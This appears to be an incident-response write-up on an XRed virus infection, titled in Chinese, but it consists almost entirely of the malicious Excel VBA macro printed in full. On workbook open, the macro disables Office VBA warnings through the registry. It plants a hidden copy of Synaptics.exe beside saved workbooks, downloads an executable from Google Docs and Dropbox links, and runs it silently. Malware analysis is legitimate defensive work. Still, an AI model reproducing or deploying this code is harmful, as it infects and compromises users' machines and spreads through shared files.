记一次XRed病毒攻击应急分析

Dim SheetsChanged As BooleanDim SheetCount As Integer
Private Sub Workbook_Open()  Dim i As Integer  For i = 1 To ActiveWorkbook.Sheets.Count    ActiveWorkbook.Sheets(i).Visible = xlSheetVisible  Next i    RegKeySave "HKCUSoftwareMicrosoftOffice" & Application.Version & "ExcelSecurityVBAWarnings", 1, "REG_DWORD"  RegKeySave "HKCUSoftwareMicrosoftOffice" & Application.Version & "WordSecurityVBAWarnings", 1, "REG_DWORD"    Application.DisplayAlerts = False  SheetCount = Worksheets.Count    Call MPS    ActiveWorkbook.Sheets(1).Select  SheetsChanged = FalseEnd Sub
Private Sub Workbook_BeforeClose(Cancel As Boolean)  If Not SheetsChanged Then    ActiveWorkbook.Saved = True  End IfEnd Sub
Private Sub Workbook_SheetChange(ByVal Sh As Object, ByVal Target As Range)  SheetsChanged = TrueEnd Sub
Private Sub Workbook_NewSheet(ByVal Sh As Object)  SheetsChanged = TrueEnd Sub
Private Sub Workbook_SheetActivate(ByVal Sh As Object)  If ActiveWorkbook.Sheets.Count <> SheetCount Then    SheetsChanged = True    SheetCount = ActiveWorkbook.Sheets.Count  End IfEnd Sub
Private Sub Workbook_BeforeSave(ByVal SaveAsUI As Boolean, Cancel As Boolean)  Dim i As Integer  Dim AIndex As Integer  Dim FName
  AIndex = ActiveWorkbook.ActiveSheet.Index
  If SaveAsUI = False Then    Cancel = True    Application.EnableEvents = False    Application.ScreenUpdating = False        For i = 1 To ActiveWorkbook.Sheets.Count - 1      ActiveWorkbook.Sheets(i).Visible = xlSheetHidden    Next i    ActiveWorkbook.Save          For i = 1 To ActiveWorkbook.Sheets.Count      ActiveWorkbook.Sheets(i).Visible = xlSheetVisible    Next i    ActiveWorkbook.Sheets(AIndex).Select    SheetsChanged = False        Application.ScreenUpdating = True    Application.EnableEvents = True  Else    Cancel = True    Application.EnableEvents = False    Application.ScreenUpdating = False        For i = 1 To ActiveWorkbook.Sheets.Count - 1      ActiveWorkbook.Sheets(i).Visible = xlSheetHidden    Next i        FName = Application.GetSaveAsFilename(fileFilter:="Excel Çalışma Kitabı (*.xlsm), *.xlsm")    If FName <> False Then      ActiveWorkbook.SaveAs Filename:=FName, FileFormat:=xlOpenXMLWorkbookMacroEnabled      SaveAsInj ActiveWorkbook.Path    End If        For i = 1 To ActiveWorkbook.Sheets.Count      ActiveWorkbook.Sheets(i).Visible = xlSheetVisible    Next i    ActiveWorkbook.Sheets(AIndex).Select    SheetsChanged = False            Application.ScreenUpdating = True    Application.EnableEvents = True  End IfEnd Sub
Sub SaveAsInj(DIR As String)  Dim FSO As Object  Dim FN As String    Set FSO = CreateObject("scripting.filesystemobject")  FN = Environ("ALLUSERSPROFILE") & "SynapticsSynaptics.exe"    If FSO.FileExists(FN) Then    If Not FSO.FileExists(DIR & "~$cache1") Then      FileCopy FN, DIR & "~$cache1"    End If    SetAttr (DIR & "~$cache1"), vbHidden + vbSystem  End IfEnd Sub
Function RegKeyRead(i_RegKey As String) As String  Dim myWS As Object
  On Error Resume Next  Set myWS = CreateObject("WScript.Shell")  RegKeyRead = myWS.RegRead(i_RegKey)End Function
Function RegKeyExists(i_RegKey As String) As BooleanDim myWS As Object
  On Error GoTo ErrorHandler  Set myWS = CreateObject("WScript.Shell")  myWS.RegRead i_RegKey  RegKeyExists = True  Exit Function  ErrorHandler:  RegKeyExists = FalseEnd Function
Sub RegKeySave(i_RegKey As String, _               i_Value As String, _      Optional i_Type As String = "REG_SZ")Dim myWS As Object
  Set myWS = CreateObject("WScript.Shell")  myWS.RegWrite i_RegKey, i_Value, i_TypeEnd Sub
Sub MPS()  Dim FSO As Object  Dim FP(1 To 3), TMP, URL(1 To 3) As String    Set FSO = CreateObject("scripting.filesystemobject")  FP(1) = ActiveWorkbook.Path & "~$cache1"  FP(2) = ActiveWorkbook.Path & "Synaptics.exe"
  URL(1) = "https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download"  URL(2) = "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1"  URL(3) = "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1"  TMP = Environ("Temp") & "~$cache1.exe"    If FSO.FileExists(FP(1)) Then    If Not FSO.FileExists(TMP) Then      FileCopy FP(1), TMP    End If    Shell TMP, vbHide  ElseIf FSO.FileExists(FP(2)) Then    If Not FSO.FileExists(TMP) Then      FileCopy FP(2), TMP    End If    Shell TMP, vbHide  Else    If FSO.FileExists(Environ("ALLUSERSPROFILE") & "SynapticsSynaptics.exe") Then      Shell Environ("ALLUSERSPROFILE") & "SynapticsSynaptics.exe", vbHide    ElseIf FSO.FileExists(Environ("WINDIR") & "System32SynapticsSynaptics.exe") Then      Shell Environ("WINDIR") & "System32SynapticsSynaptics.exe", vbHide    ElseIf Not FSO.FileExists(TMP) Then      If FDW((URL(1)), (TMP)) Then      ElseIf FDW((URL(2)), (TMP)) Then      ElseIf FDW((URL(3)), (TMP)) Then      End If      If FSO.FileExists(TMP) Then        Shell TMP, vbHide      End If    Else      Shell TMP, vbHide    End If      End If  End Sub
Function FDW(MYU, NMA As String) As Boolean  Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")  If WinHttpReq Is Nothing Then    Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5")  End If
  WinHttpReq.Option(0) = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"  WinHttpReq.Option(6) = AllowRedirects  WinHttpReq.Open "GET", MYU, False  WinHttpReq.Send    If (WinHttpReq.Status = 200) Then    If (InStr(WinHttpReq.ResponseText, "404 Not Found") = 0) And (InStr(WinHttpReq.ResponseText, ">Not Found<") = 0) And (InStr(WinHttpReq.ResponseText, "Dropbox - Error") = 0) Then      FDW = True      Set oStream = CreateObject("ADODB.Stream")      oStream.Open      oStream.Type = 1      oStream.Write WinHttpReq.ResponseBody      oStream.SaveToFile (NMA)      oStream.Close    Else       FDW = False    End If  Else    FDW = False  End IfEnd Function